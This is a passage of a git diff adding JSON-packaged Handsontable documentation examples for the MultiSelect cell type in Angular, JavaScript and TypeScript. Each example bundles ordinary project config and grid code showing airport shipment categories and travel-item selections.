]],\n];\n\n@Component({\n selector: 'example2-multiselect-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = data;\n\n readonly gridSettings: GridSettings = {\n height: 200,\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n title: 'Airport',\n },\n {\n type: 'multiselect',\n source: shipmentCategories,\n title: 'Shipment',\n },\n ],\n preventOverflow: 'horizontal',\n colWidths: 300,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/multiselect-cell-type/angular/example2.ts","breadcrumb":["Cell Types","MultiSelect cell type"],"guide":"guides/cell-types/multiselect-cell-type/multiselect-cell-type.md","guideTitle":"MultiSelect cell type","exampleId":"example2","exampleTitle":"Array of objects","docPermalink":"/multiselect-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__angular__example3.ts.json new file mode 100644 index 00000000..b5c6b9a3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ MultiSelect cell type · Other options · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\nconst requiredItems = ['Passport', 'Tickets', 'Wallet', 'Phone', 'Keys'];\nconst optionalExtras = ['Snacks', 'Book', 'Camera', 'Umbrella', 'First aid kit'];\nconst interests = ['Art', 'History', 'Nature', 'Food', 'Shopping'];\n\nconst sortAlphabetically = (entries: string[]) =>\n [...entries].sort((a, b) => String(a).localeCompare(String(b)));\n\nconst data = [\n [['Passport', 'Phone'], ['Snacks', 'Book'], ['Nature']],\n [['Tickets', 'Wallet'], ['Camera'], []],\n [['Phone', 'Keys'], ['First aid kit', 'Snacks', 'Umbrella'], ['Nature']],\n [['Wallet', 'Phone'], [], ['Food', 'Shopping']],\n [['Passport', 'Tickets'], ['Book'], ['Art', 'History']],\n];\n\n@Component({\n selector: 'example3-multiselect-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = data;\n\n readonly gridSettings: GridSettings = {\n height: 200,\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n type: 'multiselect',\n source: requiredItems,\n title: 'Required items',\n allowEmpty: false,\n },\n {\n type: 'multiselect',\n source: optionalExtras,\n title: 'Optional extras',\n placeholder: 'Select up to 3',\n maxSelections: 3,\n visibleRows: 4,\n searchInput: false,\n },\n {\n type: 'multiselect',\n source: interests,\n title: 'Interests',\n placeholder: 'Select interests',\n sourceSortFunction: sortAlphabetically,\n filteringCaseSensitive: true,\n },\n ],\n preventOverflow: 'horizontal',\n colWidths: 200,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/multiselect-cell-type/angular/example3.ts","breadcrumb":["Cell Types","MultiSelect cell type"],"guide":"guides/cell-types/multiselect-cell-type/multiselect-cell-type.md","guideTitle":"MultiSelect cell type","exampleId":"example3","exampleTitle":"Other options","docPermalink":"/multiselect-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__javascript__example1.js.json new file mode 100644 index 00000000..f4fc2fe4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ MultiSelect cell type · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\nconst shipmentCategories = [\n 'Electronics and Gadgets',\n 'Medical Supplies',\n 'Auto Parts',\n 'Fresh Produce',\n 'Textiles',\n 'Industrial Equipment',\n 'Pharmaceuticals',\n 'Consumer Goods',\n 'Machine Parts',\n 'Food Products',\n];\n\nconst data = [\n ['Los Angeles International Airport', ['Electronics and Gadgets', 'Medical Supplies']],\n [\"Chicago O'Hare International Airport\", ['Auto Parts', 'Fresh Produce']],\n ['Charles de Gaulle Airport', ['Textiles', 'Industrial Equipment']],\n ['Tokyo Haneda Airport', ['Pharmaceuticals', 'Consumer Goods']],\n ['Singapore Changi Airport', ['Machine Parts', 'Food Products']],\n ['Luton Airport', ['Electronics and Gadgets', 'Pharmaceuticals']],\n ['Frankfurt Airport', ['Industrial Equipment', 'Auto Parts', 'Consumer Goods']],\n ['Sydney Kingsford Smith Airport', ['Fresh Produce', 'Food Products']],\n ['Toronto Pearson International Airport', ['Medical Supplies', 'Textiles']],\n ['Hong Kong International Airport', ['Machine Parts', 'Electronics and Gadgets', 'Industrial Equipment']],\n ['Heathrow Airport', ['Textiles', 'Consumer Goods']],\n];\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data,\n columns: [\n {\n title: 'Airport',\n },\n {\n type: 'multiselect',\n source: shipmentCategories,\n title: 'Shipment',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n stretchH: 'last',\n width: '100%',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/multiselect-cell-type/javascript/example1.js","breadcrumb":["Cell Types","MultiSelect cell type"],"guide":"guides/cell-types/multiselect-cell-type/multiselect-cell-type.md","guideTitle":"MultiSelect cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/multiselect-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__javascript__example1.ts.json new file mode 100644 index 00000000..fd4eea3a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ MultiSelect cell type · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nconst shipmentCategories = [\n 'Electronics and Gadgets',\n 'Medical Supplies',\n 'Auto Parts',\n 'Fresh Produce',\n 'Textiles',\n 'Industrial Equipment',\n 'Pharmaceuticals',\n 'Consumer Goods',\n 'Machine Parts',\n 'Food Products',\n];\n\nconst data = [\n ['Los Angeles International Airport', ['Electronics and Gadgets', 'Medical Supplies']],\n ['Chicago O\\'Hare International Airport', ['Auto Parts', 'Fresh Produce']],\n ['Charles de Gaulle Airport', ['Textiles', 'Industrial Equipment']],\n ['Tokyo Haneda Airport', ['Pharmaceuticals', 'Consumer Goods']],\n ['Singapore Changi Airport', ['Machine Parts', 'Food Products']],\n ['Luton Airport', ['Electronics and Gadgets', 'Pharmaceuticals']],\n ['Frankfurt Airport', ['Industrial Equipment', 'Auto Parts', 'Consumer Goods']],\n ['Sydney Kingsford Smith Airport', ['Fresh Produce', 'Food Products']],\n ['Toronto Pearson International Airport', ['Medical Supplies', 'Textiles']],\n ['Hong Kong International Airport', ['Machine Parts', 'Electronics and Gadgets', 'Industrial Equipment']],\n ['Heathrow Airport', ['Textiles', 'Consumer Goods']],\n];\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data,\n columns: [\n {\n title: 'Airport',\n },\n {\n type: 'multiselect',\n source: shipmentCategories,\n title: 'Shipment',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n stretchH: 'last',\n width: '100%',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/multiselect-cell-type/javascript/example1.ts","breadcrumb":["Cell Types","MultiSelect cell type"],"guide":"guides/cell-types/multiselect-cell-type/multiselect-cell-type.md","guideTitle":"MultiSelect cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/multiselect-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__javascript__example2.js.json new file mode 100644 index 00000000..345e6ed1 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ MultiSelect cell type · Array of objects · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\nconst shipmentCategories = [\n { key: 'electronics', value: 'Electronics and Gadgets' },\n { key: 'medical', value: 'Medical Supplies' },\n { key: 'auto-parts', value: 'Auto Parts' },\n { key: 'fresh-produce', value: 'Fresh Produce' },\n { key: 'textiles', value: 'Textiles' },\n { key: 'industrial', value: 'Industrial Equipment' },\n { key: 'pharmaceuticals', value: 'Pharmaceuticals' },\n { key: 'consumer', value: 'Consumer Goods' },\n { key: 'machine-parts', value: 'Machine Parts' },\n { key: 'food', value: 'Food Products' },\n];\n\nconst data = [\n [\n 'Los Angeles International Airport',\n [\n { key: 'electronics', value: 'Electronics and Gadgets' },\n { key: 'medical', value: 'Medical Supplies' },\n ],\n ],\n [\n \"Chicago O'Hare International Airport\",\n [\n { key: 'auto-parts', value: 'Auto Parts' },\n { key: 'fresh-produce', value: 'Fresh Produce' },\n ],\n ],\n [\n 'Charles de Gaulle Airport',\n [\n { key: 'textiles', value: 'Textiles' },\n { key: 'industrial', value: 'Industrial Equipment' },\n ],\n ],\n [\n 'Tokyo Haneda Airport',\n [\n { key: 'pharmaceuticals', value: 'Pharmaceuticals' },\n { key: 'consumer', value: 'Consumer Goods' },\n ],\n ],\n [\n 'Singapore Changi Airport',\n [\n { key: 'machine-parts', value: 'Machine Parts' },\n { key: 'food', value: 'Food Products' },\n ],\n ],\n [\n 'Luton Airport',\n [\n { key: 'electronics', value: 'Electronics and Gadgets' },\n { key: 'pharmaceuticals', value: 'Pharmaceuticals' },\n ],\n ],\n [\n 'Frankfurt Airport',\n [\n { key: 'industrial', value: 'Industrial Equipment' },\n { key: 'auto-parts', value: 'Auto Parts' },\n { key: 'consumer', value: 'Consumer Goods' },\n ],\n ],\n [\n 'Sydney Kingsford Smith Airport',\n [\n { key: 'fresh-produce', value: 'Fresh Produce' },\n { key: 'food', value: 'Food Products' },\n ],\n ],\n [\n 'Toronto Pearson International Airport',\n [\n { key: 'medical', value: 'Medical Supplies' },\n { key: 'textiles', value: 'Textiles' },\n ],\n ],\n [\n 'Hong Kong International Airport',\n [\n { key: 'machine-parts', value: 'Machine Parts' },\n { key: 'electronics', value: 'Electronics and Gadgets' },\n { key: 'industrial', value: 'Industrial Equipment' },\n ],\n ],\n [\n 'Heathrow Airport',\n [\n { key: 'textiles', value: 'Textiles' },\n { key: 'consumer', value: 'Consumer Goods' },\n ],\n ],\n];\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data,\n columns: [\n {\n title: 'Airport',\n },\n {\n type: 'multiselect',\n source: shipmentCategories,\n title: 'Shipment',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n stretchH: 'last',\n width: '100%',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/multiselect-cell-type/javascript/example2.js","breadcrumb":["Cell Types","MultiSelect cell type"],"guide":"guides/cell-types/multiselect-cell-type/multiselect-cell-type.md","guideTitle":"MultiSelect cell type","exampleId":"example2","exampleTitle":"Array of objects","docPermalink":"/multiselect-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__javascript__example2.ts.json new file mode 100644 index 00000000..609794f0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ MultiSelect cell type · Array of objects · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nconst shipmentCategories = [\n { key: 'electronics', value: 'Electronics and Gadgets' },\n { key: 'medical', value: 'Medical Supplies' },\n { key: 'auto-parts', value: 'Auto Parts' },\n { key: 'fresh-produce', value: 'Fresh Produce' },\n { key: 'textiles', value: 'Textiles' },\n { key: 'industrial', value: 'Industrial Equipment' },\n { key: 'pharmaceuticals', value: 'Pharmaceuticals' },\n { key: 'consumer', value: 'Consumer Goods' },\n { key: 'machine-parts', value: 'Machine Parts' },\n { key: 'food', value: 'Food Products' },\n];\n\nconst data = [\n ['Los Angeles International Airport', [\n { key: 'electronics', value: 'Electronics and Gadgets' },\n { key: 'medical', value: 'Medical Supplies' },\n ]],\n ['Chicago O\\'Hare International Airport', [\n { key: 'auto-parts', value: 'Auto Parts' },\n { key: 'fresh-produce', value: 'Fresh Produce' },\n ]],\n ['Charles de Gaulle Airport', [\n { key: 'textiles', value: 'Textiles' },\n { key: 'industrial', value: 'Industrial Equipment' },\n ]],\n ['Tokyo Haneda Airport', [\n { key: 'pharmaceuticals', value: 'Pharmaceuticals' },\n { key: 'consumer', value: 'Consumer Goods' },\n ]],\n ['Singapore Changi Airport', [\n { key: 'machine-parts', value: 'Machine Parts' },\n { key: 'food', value: 'Food Products' },\n ]],\n ['Luton Airport', [\n { key: 'electronics', value: 'Electronics and Gadgets' },\n { key: 'pharmaceuticals', value: 'Pharmaceuticals' },\n ]],\n ['Frankfurt Airport', [\n { key: 'industrial', value: 'Industrial Equipment' },\n { key: 'auto-parts', value: 'Auto Parts' },\n { key: 'consumer', value: 'Consumer Goods' },\n ]],\n ['Sydney Kingsford Smith Airport', [\n { key: 'fresh-produce', value: 'Fresh Produce' },\n { key: 'food', value: 'Food Products' },\n ]],\n ['Toronto Pearson International Airport', [\n { key: 'medical', value: 'Medical Supplies' },\n { key: 'textiles', value: 'Textiles' },\n ]],\n ['Hong Kong International Airport', [\n { key: 'machine-parts', value: 'Machine Parts' },\n { key: 'electronics', value: 'Electronics and Gadgets' },\n { key: 'industrial', value: 'Industrial Equipment' },\n ]],\n ['Heathrow Airport', [\n { key: 'textiles', value: 'Textiles' },\n { key: 'consumer', value: 'Consumer Goods' },\n ]],\n];\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data,\n columns: [\n {\n title: 'Airport',\n },\n {\n type: 'multiselect',\n source: shipmentCategories,\n title: 'Shipment',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n stretchH: 'last',\n width: '100%',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/multiselect-cell-type/javascript/example2.ts","breadcrumb":["Cell Types","MultiSelect cell type"],"guide":"guides/cell-types/multiselect-cell-type/multiselect-cell-type.md","guideTitle":"MultiSelect cell type","exampleId":"example2","exampleTitle":"Array of objects","docPermalink":"/multiselect-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__javascript__example3.js.json new file mode 100644 index 00000000..b4ecf4bf --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ MultiSelect cell type · Other options · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3');\nconst requiredItems = ['Passport', 'Tickets', 'Wallet', 'Phone', 'Keys'];\nconst optionalExtras = ['Snacks', 'Book', 'Camera', 'Umbrella', 'First aid kit'];\nconst interests = ['Art', 'History', 'Nature', 'Food', 'Shopping'];\nconst data = [\n [['Passport', 'Phone'], ['Snacks', 'Book'], ['Nature']],\n [['Tickets', 'Wallet'], ['Camera'], []],\n [['Phone', 'Keys'], ['First aid kit', 'Snacks', 'Umbrella'], ['Nature']],\n [['Wallet', 'Phone'], [], ['Food', 'Shopping']],\n [['Passport', 'Tickets'], ['Book'], ['Art', 'History']],\n [['Phone', 'Keys'], ['First aid kit', 'Snacks', 'Umbrella'], ['Nature']],\n [['Wallet', 'Phone'], [], ['Food', 'Shopping']],\n [['Passport', 'Tickets'], ['Book'], ['Art', 'History']],\n [['Phone', 'Keys'], ['First aid kit', 'Snacks', 'Umbrella'], ['Nature']],\n [['Wallet', 'Phone'], [], ['Food', 'Shopping']],\n [['Passport', 'Tickets'], ['Book'], ['Art', 'History']],\n [['Phone', 'Keys'], ['First aid kit', 'Snacks', 'Umbrella'], ['Nature']],\n [['Wallet', 'Phone'], [], ['Food', 'Shopping']],\n [['Passport', 'Tickets'], ['Book'], ['Art', 'History']],\n];\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data,\n columns: [\n {\n type: 'multiselect',\n source: requiredItems,\n title: 'Required items',\n allowEmpty: false,\n },\n {\n type: 'multiselect',\n source: optionalExtras,\n title: 'Optional extras',\n placeholder: 'Select up to 3',\n maxSelections: 3,\n visibleRows: 4,\n searchInput: false,\n },\n {\n type: 'multiselect',\n source: interests,\n title: 'Interests',\n placeholder: 'Select interests',\n sourceSortFunction: (entries) => [...entries].sort((a, b) => a.localeCompare(b)),\n filteringCaseSensitive: true,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n stretchH: 'last',\n width: '100%',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/multiselect-cell-type/javascript/example3.js","breadcrumb":["Cell Types","MultiSelect cell type"],"guide":"guides/cell-types/multiselect-cell-type/multiselect-cell-type.md","guideTitle":"MultiSelect cell type","exampleId":"example3","exampleTitle":"Other options","docPermalink":"/multiselect-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__javascript__example3.ts.json new file mode 100644 index 00000000..31a9f9d3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__multiselect-cell-type__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ MultiSelect cell type · Other options · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
